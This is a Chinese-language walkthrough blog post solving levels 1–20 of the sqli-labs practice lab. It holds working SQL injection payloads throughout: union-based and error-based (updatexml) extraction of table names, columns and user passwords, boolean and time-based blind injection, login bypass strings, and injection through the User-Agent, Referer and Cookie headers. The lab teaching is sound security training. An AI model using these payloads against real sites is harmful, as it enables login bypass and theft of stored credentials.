sqli-labs 通关手册

第一关

Less-1查找注入点

点击less-1的靶场进入

进入后进行字符型注入

sql-lasb-master:8088/Less-1/?id=1' --+

判断回显位

http://sql-lasb-master:8088/Less-1/?id=-1%27%20union%20select%201,2,3%20--+

暴出表名

http://sql-lasb-master:8088/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%20--+

爆出字段名

http://sql-lasb-master:8088/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()  and table_name='users' --+

第二关

数字型的注入,

http://sql-lasb-master:8088/Less-2/?id=1%20--+

判断回显位

http://sql-lasb-master:8088/Less-2/?id=-1 union select 1,2,3  --+

爆出来的数据库名

sql-lasb-master:8088/Less-2/?id=-1 union select 1,2,database() --+

爆表的名

sql-lasb-master:8088/Less-2/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆字段名

sql-lasb-master:8088/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()  and table_name='users' --+

爆数据

sql-lasb-master:8088/Less-2/?id=-1 union select 1,concat_ws('~',id,username,password),3 from security.users limit 0,1 --+

第三关

单引号括号的闭合,在id=1后加上’),其他操作与前两关相同。

第四关

双引号括号的闭合,在 id=1后面加上”)即可,其他操作与一二关相同。

第五关

1一个新的类型注入,使用?id=1’ 后发现回显了,确定为单引号闭合。

2使用/?id=1' order by 4 --+ ,当值为4的时候报错,所以列数为3.

3利用联合查询union 时发现仍然显示 you are

所以联合查询用不了。

4使用报错注入updatexml()函数+concat():拼接特殊符号和查询结果

成功利用漏洞

第六关

和第五关一样,第六关使用的是双引号闭合。

http://sql-lasb-master:8088/Less-6/?id=1" --+

第七关

1,输入http://sql-lasb-master:8088/Less-7/?id=1

2,盲注一下

使用http://sql-lasb-master:8088/Less-7/?id=1’和?id=1’--+ 下面是显示结果。

/?id=1'  ?id=1'--+ 显示You have an error in your SQL syntax  

说明,闭合中包括单引号'  但不仅限于单引号。

  1. 测试一下单引号加上两个小括号。

说明,闭合为 单引号+两个小括号 ')) 闭合

  1. 使用order by 爆破列数

使用order by * --+ 测试爆破列数,当order by 3 显示You are in.... Use outfile...... 的时候,就说明成功了,是三列。

  1. 尝试一下布尔型注入。

?id=1')) and 1=1--+

显示了You are in.... Use outfile..... ,说明了布尔型注入可以使用。

  1. 报错注入是行不通的。

第八关

  1. 尝试一下布尔型注入

有明确的回显可以尝试利用

可以进行盲注猜测,根据页面回显是否正常猜测信息。

第九关

  1. 时间注入

使用?id=1 and if(1=1,sleep(5),1) --+

发现反应时间正常,存在闭合,接下来测试存在哪一种闭合。

  1. 当使用了?id=1' and if(1=1,sleep(5),1) --+ 时,发现了网页反应的速度变慢了,所以存在的闭合为单引号。

第十关

  1. 使用时间盲注判断是什么闭合,利用sleep函数。

使用?id=1’ and sleep(5) --+ 执行的时候发现立即执行了,可以发现并不是单引号闭合。

使用?id=1’’ and sleep(5) --+ 执行的时候发现延迟了5秒,可以发现是双引号闭合。

第十一关

  1. 开启Burp Suite抓包工具打开拦截,然后在十一关的靶场登陆账号密码。
  2. 在Burp Suite上可以看到抓到的数据包,发送到重放器中就行操作。

  1. 在uname处进行注入一个万能密码

uname=admin&passwd=admin'or 1=1 --+&submit=Submit

  1. 点击发送,能看到爆出来的账号和密码。

第十二关

  1. 本关使用的是双引号加括号闭合。

   还是同上一关一样,登陆靶场然后把抓到的包发送到重放器中。

  1. 在uname处注入一个万能密码,只不过这次注入使用双引号加括号闭合。

uname=admin&passwd=admin")or 1=1 --+&submit=Submit

然后点击发送查看结果,结果如下图:

第十三关

  1. 这关没有明确的回显,使用的是单引号加括号的闭合。

   还是采用万能密码的操作

   uname=admin&passwd=admin') or 1=1 --+&submit=Submit

   可以看到显示了登陆成功了。

  1. 也可以使用这条语句相当于是万能账号了,也显示登陆成功。

第十四关

1,判断一下注入点。

用户名输入一个q”

密码输入123

根据返回的信息判断这是双引号字符型注入。

2,进行注入

用户名输入a’’ or 1 -- a

密码输入 123

返回登陆成功的结果。

第十五关

1,打开数据包拦截工具开启拦截,访问less-15靶场,把抓到的数据包右击发送到重放器中。

2,修改uname=后面的字段来进行注入

3,查看返回的验证成功返回 flag.jpg 失败返回 slap.jpg

4,还有一种时间盲注,修改刚刚的uname=后面的字段

5,查看右下角的反应时间,满足3秒的条件成功。

第十六关

  1. 打开less-16靶场,输入用户名和密码可以看见没有错误回显。

  1. 打开数据包拦截工具,拦截less-16的靶场数据,然后发送到数据重放器中。

  1. 修改uname=后面的字段进行时间盲注判断注入点

利用反应时间来判断

' and sleep(5) 单引号闭合

" and sleep(5) 双引号闭合

") and sleep(5) 双引号括号闭合

') and sleep(5) 单引号括号闭合

根据反应时间来看是双引号括号闭合。

第十七关

1,判断注入点类型

先打开less-17靶场,输入用户密码,跳出来了要更新账户的界面,其实是更新admin密码的操作,接下来输入一个新的密码即可。

2,进行测试注入。

a') OR 1 = 1#

 a')) OR 1 = 1#

 a" OR 1 = 1#

 a") OR 1 = 1#

这几种方法的注入都出错

3,抓包软件抓包,利用post方法提交参数还是失败

  1. 对密码闭合测试。

单引号闭合失败

单引号括号闭合失败

双引号闭合失败

双引号括号闭合失败

  1. 我们已经知道了一个用户名admin,所有把用户名加上。

uname=admin&passwd=a'&submit=Submit

可以看到网页回显成功,并且还回了一个语法错误,说明此处的是单引号闭合。

  1. 利用报错注入来获取当前数据库的版本。

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

  1. 我们在利用报错回显数据库的名字。

  1. 爆表名,使用一个select的查询。

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit

  1. 爆字段名。

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

  1. 利用报错注入回显用户名和密码。

uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit

可以看到回显了:无法在FROM子句中为更新指定目标表'users'。

接下来进行绕过,我们不能直接从users表中拿到我们想要的数据,接下来我们先用一个表暂存从users表中拿出的数据,然后在从这个暂存表中取出来,顾名思义就是利用一个查询查询另一个查询。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

利用这条命令可以看到查询到的账号密码。

第十八关

  1. 判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

  1. 在用户名处注入

a' OR 1 = 1

 a') OR 1 = 1

 a')) OR 1 = 1

 a" OR 1 = 1

 a") OR 1 = 1

都显示失败

  1. 打开抓包工具,进行抓包修改字段。

将user-agent:后面字段进行修改

可以看见返回的数据库名称

' OR updatexml(1,concat("!",database()),2) OR '

第十九关

  1. 打开less-19靶场。

在输入框中输入一个正确的账号密码,查看回显信息。

可以看见回显了一个网址,这是告诉我们网页从那个连接过来的。

  1. 判断注入点。

对用户名和密码都进行以下注入

a' OR 1 = 1

a') OR 1 = 1

a')) OR 1 = 1

 a" OR 1 = 1

a") OR 1 = 1

 a")) OR 1 = 1

发现都回显失败

  1. 进行HTTP Referer 注入

该出和 Less-18 一样,只是,这里的uagent 换成了 HTTP_REFERER

打开数据包拦截工具拦截数据包发送到重放器中去。

在此处加上一个单引号测试是否有注入点

报错注入

Referer http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

可以看见有回显信息。

进行盲注测试

Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1

可以看见有回显信息。

语句解释:

(length(database())) =9 or if(1=1, sleep(3), null) or '1' = '1 #'语句中三个条件都为逻辑或 当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。

(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒

第二十关

  1. 打开抓包工具,打开拦截。

  1. 打开less-20 的靶场,输入账号和密码。

  1. 回到抓包工具,找到我们想要的cookie的数据包。

然后发送到重放器中

  1. 在cookie 处使用‘or’1’=1='1 判断注入点

  1. 爆表

Cookie: uname=admin'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1

  1. 爆字段

  1. 爆数据

两种方法

Cookie: uname=' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

Cookie: uname=' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

  • 13
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值